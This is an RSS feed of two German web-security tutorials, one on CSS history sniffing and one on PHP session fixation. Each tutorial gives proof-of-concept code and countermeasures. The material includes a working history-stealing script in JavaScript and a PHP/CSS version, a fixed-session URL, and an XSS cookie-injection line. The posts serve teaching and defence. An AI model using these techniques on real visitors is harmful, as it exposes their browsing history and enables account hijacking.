<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Tuts &#187; Web Security</title>
	<atom:link href="http://www.web-tuts.de/kategorie/web-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.web-tuts.de</link>
	<description>Tutorials für neue und professionelle Webworker!</description>
	<lastBuildDate>Mon, 26 Jul 2010 17:26:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>CSS History Hacks &#8211; Auslesen von besuchten Webseiten</title>
		<link>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html</link>
		<comments>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:06:57 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tricks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1603</guid>
		<description><![CDATA[
Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.
In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/browser-history.jpg" width="302" height="227" alt="Browser History" /></div>
<p>Viele Webbrowser enthalten seit Jahren eine Sicherheitsl&#252;cke, die bis heute noch nicht geschlossen wurde. Mit einem sog. <strong>CSS History Hack</strong> ist es m&#246;glich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.</p>
<p>In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es m&#246;glich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer k&#246;nnten anhand der Daten identifiziert werden und Angreifer k&#246;nnten diese nutzen, um gezielte <a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html">Phishing-Angriffe</a> durchzuf&#252;hren.</p>
<p>H&#228;ufig wird die Browser History mit <strong>Javascript</strong> ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit <strong>CSS</strong> m&#246;glich sind.</p>

<h2 class="headline">Ursache der Sicherheitsl&#252;cke</h2>
<p>Die Ursache der Sicherheitsl&#252;cke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.</p>
<p>Wurde ein Link also bereits gefolgt, gibt es &#196;nderungen im Stylesheet, die der Browser als Attribute in der History speichert.</p>
<h2 class="headline">Funktionsweise eines Angriffs</h2>
<p>Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet &#252;berpr&#252;ft.</p>
<p>Da die &#220;berpr&#252;fung normalerweise ziemlich schnell ist, k&#246;nnen problemlos tausende URLs innerhalb k&#252;rzester Zeit &#252;berpr&#252;ft werden.</p>
<h2 class="headline">Was Angreifer mit den Daten machen k&#246;nnten</h2>
<p>Das Protential von solchen Angriffen sollte man nicht untersch&#228;tzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr m&#246;glich.</p>
<p>S&#228;mtliche Daten k&#246;nnten ausspioniert werden - besonders in Kombination mit <a href="http://de.wikipedia.org/wiki/Social_Engineering" target="_blank">Social Engineering</a>. Vor allem soziale Netzwerke sind von davon <a href="http://www.spiegel.de/netzwelt/web/0,1518,675395,00.html" target="_blank">betroffen</a>.</p>
<h2 class="headline">Proof-of-Concept</h2>
<p><strong><em>Hinweis:</em></strong> Die Live-Demos / Scripte k&#246;nnt ihr unbedenklich testen. Es werden keine Daten &#252;ber besuchte Webseiten protokolliert, sondern nur dargestellt.</p>
<p>Beide Live Demos wurden mit Firefox und Chrome getestet.</p>
<h3>Ausnutzung per JavaScript</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-js.html" target="_blank">CSS History Hack Beispiel per JavaScript</a></p>
<p>Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.</p>
<pre class="prettyprint"><code>/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot;
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL&#039;s is possible within a few seconds. */
var websites = [
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
];

/* Loop through each URL */
for (var i = 0; i &lt; websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement(&quot;a&quot;);
  link.id = &quot;id&quot; + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write(&#039;&lt;style&gt;&#039;);
  document.write(&#039;#id&#039; + i + &quot;:visited {color: #FF0000;}&quot;);
  document.write(&#039;&lt;/style&gt;&#039;);

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue(&quot;color&quot;);
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == &quot;rgb(255, 0, 0)&quot;) { // visited

    /* add the link to the visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;visited&#039;).appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement(&#039;li&#039;);
    item.appendChild(link);
    document.getElementById(&#039;notvisited&#039;).appendChild(item);

  } // end visited color check if

} // end URL loop</code></pre>
<p>Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet <strong>a:visited</strong>) wird eine rote Farbe zugewiesen. Anschlie&#223;end wird &#252;berpr&#252;ft, f&#252;r welche Links diese Farbe definiert wurde.</p>
<h3>Ausnutzung per CSS und PHP</h3>
<p>Live Demo: <a href="http://www.web-tuts.de/demo/history-hack-css.php" target="_blank">CSS History Hack ohne JavaScript</a></p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  header(&#039;Cache-Control: no-store, no-cache, must-revalidate&#039;); // HTTP 1.1
  header(&#039;Cache-Control: post-check=0, pre-check=0, false&#039;); // HTTP 1.0
  header(&#039;Expires: Sat, 26 Jul 1997 05:00:00 GMT&#039;);
  header(&#039;Pragma: no-cache&#039;);

  $websites = array(
  &#039;http://www.google.de&#039;,
  &#039;http://www.ebay.de&#039;,
  &#039;http://www.web-tuts.de&#039;,
  &#039;http://www.youtube.com&#039;,
  &#039;http://www.myhammer.de&#039;,
  &#039;http://www.heise.de&#039;,
  &#039;http://www.t3n.de/news/&#039;,
  &#039;http://www.myspace.com&#039;,
  &#039;http://de.wikipedia.org&#039;,
  &#039;http://de.wikipedia.org/wiki/Buffer_Overflow&#039;,
  &#039;http://de.wikipedia.org/wiki/Javascript&#039;,
  &#039;http://www.spiegel.de&#039;,
  &#039;http://www.golem.de&#039;
  );

  $c = count($websites);

  if(empty($_SESSION[&#039;visited&#039;]))
  	$_SESSION[&#039;visited&#039;] = array();

  if(empty($_SESSION[&#039;id&#039;]))
  	$_SESSION[&#039;id&#039;] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER[&#039;QUERY_STRING&#039;]))
  {
    // script wurde via css background image aufgerufen
    if(preg_match(&#039;/([a-f0-9]{32})-(\d*)/i&#039;, $_SERVER[&#039;QUERY_STRING&#039;], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION[&#039;visited&#039;]))
        $_SESSION[&#039;visited&#039;][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION[&#039;visited&#039;]);
?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;style type=&quot;text/css&quot;&gt;
#list { position: absolute; visibility: hidden; }
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;a:visited span.span&#039; . $i . &#039;{background:url(&#039;.basename(__FILE__).&#039;?&#039;.$_SESSION[&#039;id&#039;].&#039;-&#039;.$i.&#039;);color:#c00;}&#039;;
?&gt;
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;list&quot;&gt;
&lt;?php
  for($i = 0; $i &lt; $c; $i++)
    echo &#039;&lt;a href=&quot;&#039;.$websites[$i].&#039;&quot;&gt;&#039;.$websites[$i].&#039;&lt;span class=&quot;span&#039;.$i.&#039;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&#039;;
?&gt;
&lt;/div&gt;
&lt;ul id=&quot;visited&quot;&gt;
&lt;?php
  foreach($_SESSION[&#039;visited&#039;] as $visited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$visited.&#039;&quot;&gt;&#039;.$visited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;ul id=&quot;notvisited&quot;&gt;
&lt;?php
  foreach($not_visited as $notvisited)
    echo &#039;&lt;li&gt;&lt;a href=&quot;&#039;.$notvisited.&#039;&quot;&gt;&#039;.$notvisited.&#039;&lt;/a&gt;&lt;/li&gt;&#039;;
?&gt;
&lt;/ul&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>Diese Methode wurde von IT-Wissenschaftlern einer Universit&#228;t vorgestellt und funktioniert auch ohne JavaScript.</p>
<p>Der Trick bei dieser Methode ist, dass im Stylesheet bei <strong>a:visited</strong> mit <strong>background:url()</strong> das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die &#252;bergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.</p>
<p>Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).</p>
<p>Zus&#228;tzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers &#252;bergeben - normalerweise die IP Adresse. Somit k&#246;nnen besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zuf&#228;llig generierter MD5 Hash.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Nun zum wichtigen Teil - wie sch&#252;tzt man sich vor CSS History Hacks?</p>
<p>Es gibt zwei M&#246;glichkeiten, um sich effektiv gegen solche Angriffe zu sch&#252;tzen.</p>
<p><strong>1. Festlegen, dass der verwendete Browser keine History anlegt.</strong></p>
<p>Die beste und sicherste M&#246;glichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese M&#246;glichkeit nutzen.</p>
<p>In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz</p>
<p><img src="http://www.web-tuts.de/images/posts/firefox-chronik.gif" width="599" height="182" alt="Firefox Chronik deaktivieren" /></p>
<p>Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gel&#246;scht werden soll.</p>
<p><strong>2. Browser-Addon nutzen</strong></p>
<p>Eine weitere M&#246;glichkeit ist das Nutzen eines speziellen Browser-Addons. F&#252;r Firefox eignet sich das <a href="http://www.safehistory.com/" target="_blank">SafeHistory</a> Addon von der Stanford Universit&#228;t. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/downloads/" rel="bookmark" title="Permanent Link: Downloads">Downloads</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>PHP Session Sicherheit &#8211; Session Fixation</title>
		<link>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html</link>
		<comments>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:31:06 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Hijacking]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1131</guid>
		<description><![CDATA[
Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.
Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.
F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/session-fixation.jpg" width="202" height="202" alt="Session Fixation" /></div>
<p>Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.</p>
<p>Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.</p>
<p>F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern k&#246;nnen und somit eine zusammenh&#228;ngende Kommunikation erm&#246;glichen.</p>
<p>Sessions sind aber nicht nur n&#252;tzlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um <strong>Session Fixation</strong>.</p>

<h2 class="headline">Sessions allgemein</h2>
<p><strong>Session Files</strong></p>
<p>Durch eine Session k&#246;nnen einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (tempor&#228;r) gespeichert werden.</p>
<p>Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION &#252;bertragen.</p>
<p><strong>Session-ID (SID)</strong></p>
<p>Die Authentifizierung findet w&#228;hrend einer Session &#252;ber die Session-ID statt. Die Session-ID ist also wie ein Passwort, das f&#252;r kurze Zeit g&#252;ltig ist.</p>
<p>Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung &#252;bernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.</p>
<p>PHP erzeugt eine Session-ID mit einer L&#228;nge von 32 Zeichen. Das Erraten ist also praktisch unm&#246;glich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.</p>
<p>Die Session-ID wird &#252;blicherweise in Cookies oder in der URL per GET-Parameter &#252;bertragen. Die &#220;bertragung per POST-Methode ist allerdings auch m&#246;glich.</p>
<h2 class="headline">Sessionverwaltung in PHP</h2>
<p>Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();
  ...
?&gt;</code></pre>
<p>Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine g&#252;ltige Session-ID mit, wird die aktuelle Session wieder aufgenommen!</p>
<blockquote><p>session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, &#252;bermittelt wurde. - Quelle: php.net</p></blockquote>
<p>Die Session-ID kann mit der Funktion session_id() ausgelesen werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  echo session_id();
?&gt;</code></pre>
<p>Mit unset() k&#246;nnen Session Variablen gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  unset($_SESSION[&#039;foo&#039;]);
?&gt;</code></pre>
<p>Mit session_destroy() werden alle aktuellen Sitzungsdaten gel&#246;scht.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  session_destroy();
?&gt;</code></pre>
<p>Bei php.net gibt es eine Liste mit weiteren <a href="http://de.php.net/manual/de/ref.session.php" target="_blank">Session Funktionen</a>.</p>
<h2 class="headline">Session Fixation</h2>
<p>Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.</p>
<p>Der Vorteil von Angreifern ist, dass PHP jede beliebige &#252;bermittelte Session-ID akzeptiert.</p>
<p>In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL &#252;bertragen.</p>
<p><img src="http://www.web-tuts.de/images/posts/session-fixation-diagramm.gif" width="528" height="449" alt="Session Fixation Angriff" /></p>
<p>Schauen wir uns die einzelnen Schritte etwas genauer an.</p>
<p><strong>1.</strong> Der Angreifer schickt eine pr&#228;parierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website f&#252;hrt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).</p>
<p><strong>2.</strong> Das Opfer ruft den pr&#228;parierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.</p>
<p><strong>3.</strong> Das Opfer loggt sich mit seinen Logindaten ein.</p>
<p><strong>4.</strong> Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die g&#252;ltige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass g&#252;ltige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.</p>
<h3>Proof-Of-Concept</h3>
<p>Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der <em>php.ini</em> notwendig, damit die Session-ID in der URL &#252;bertragen wird.</p>
<pre class="prettyprint"><code>session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID</code></pre>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  if(!empty($_SESSION[&#039;userid&#039;]))
    echo &#039;Willkommen zurueck! ID: &#039; . $_SESSION[&#039;userid&#039;];
  else
  {
    $_SESSION[&#039;userid&#039;] = md5(uniqid(mt_rand(), true));
    echo &#039;&lt;p&gt;Du bist neu hier. Deine neue ID: &#039; . $_SESSION[&#039;userid&#039;] . &#039;&lt;/p&gt;&#039;;
    echo &#039;&lt;p&gt;Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;
  }
?&gt;</code></pre>
<p>Das ganze k&#246;nnen wir jetzt einfach mit zwei verschiedenen Browsern testen.</p>
<p>Browser1 = Opfer<br />
Browser2 = Angreifer</p>
<p>Zuerst wird die Session-ID vom Angreifer bestimmt.</p>
<pre class="srccode"><code>login.php?PHPSESSID=5678</code></pre>
<p>Nun rufen wir die URL in Browser1 auf.</p>
<pre class="srccode"><code>Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678</code></pre>
<p>Rufen wir die URL erneut auf, werden wir identifiziert.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Bei einem Loginscript w&#228;ren wir jetzt mit Browser2 eingeloggt.</p>
<h2 class="headline">Session-ID in der URL</h2>
<p>Werden Session-IDs in der URL &#252;bertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte <strong>Self Exploitation</strong>. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, &#252;bernimmt die Session.</p>
<p>Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel k&#246;nnte ein Angreifer <a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html">HTTP Weiterleitungen</a> in PHP Anwendungen (z.B. Foren) ausnutzen. Dann m&#252;sste er noch nicht einmal jemanden dazu bringen, die pr&#228;parierte URL aufzurufen.</p>
<h2 class="headline">Session-ID in Cookies</h2>
<p>Wenn die Session-ID in einem Cookie &#252;bertragen wird, ist Session Fixation ohne weiteres nicht m&#246;glich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitsl&#252;cke auf der Zielseite, sieht die Sache schon wieder anders aus.</p>
<p>Ein Angreifer k&#246;nnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.</p>
<pre class="prettyprint"><code>&lt;script&gt;document.cookie=&#039;PHPSESSID=1234&#039;;&lt;/script&gt;</code></pre>
<p>Das <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Kombinieren von Sicherheitsl&#252;cken</a> kann sehr effektiv sein kann.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.</p>
<p>Man k&#246;nnte das &#220;bermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von <em>session.use_only_cookies</em> in der <em>php.ini</em> auf 1 setzt.</p>
<p>Hat man kein Zugriff auf die <em>php.ini</em>, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.</p>
<pre class="prettyprint"><code>&lt;?php
  ini_set(&#039;session.use_only_cookies&#039;, 1);
  session_start();
  ...
?&gt;</code></pre>
<p>Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erw&#228;hnt) mithilfe von anderen Sicherheitsl&#252;cken die Session-ID in einem Cookie injiziert werden kann.</p>
<h3>Session-ID Regenerierung</h3>
<p>Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.</p>
<p>Dazu wird die Funktion session_regenerate_id() verwendet.</p>
<blockquote><p>Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und &#252;bernimmt die aktuellen Session-Informationen. - Quelle: php.net</p></blockquote>
<p>Der Angreifer schickt eine pr&#228;parierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erh&#228;lt eine <strong>neue Session-ID</strong>. Die alte, fixierte Session-ID ist f&#252;r den Angreifer somit nutzlos.</p>
<p>Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo &#039;&lt;p&gt;Alte Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION[&#039;user&#039;]))
  {
    session_regenerate_id();
    echo &#039;&lt;p&gt;Neue Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION[&#039;user&#039;] = true;
  }

  // bei jedem Request &uuml;berpr&uuml;fen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION[&#039;user&#039;]))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?&gt;</code></pre>
<p>Das war's soweit f&#252;r den ersten Teil zum Thema Session Sicherheit in PHP.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html" rel="bookmark" title="Permanent Link: CSS History Hacks &#8211; Auslesen von besuchten Webseiten">CSS History Hacks &#8211; Auslesen von besuchten Webseiten</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof Contact Form">Bulletproof Contact Form</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht 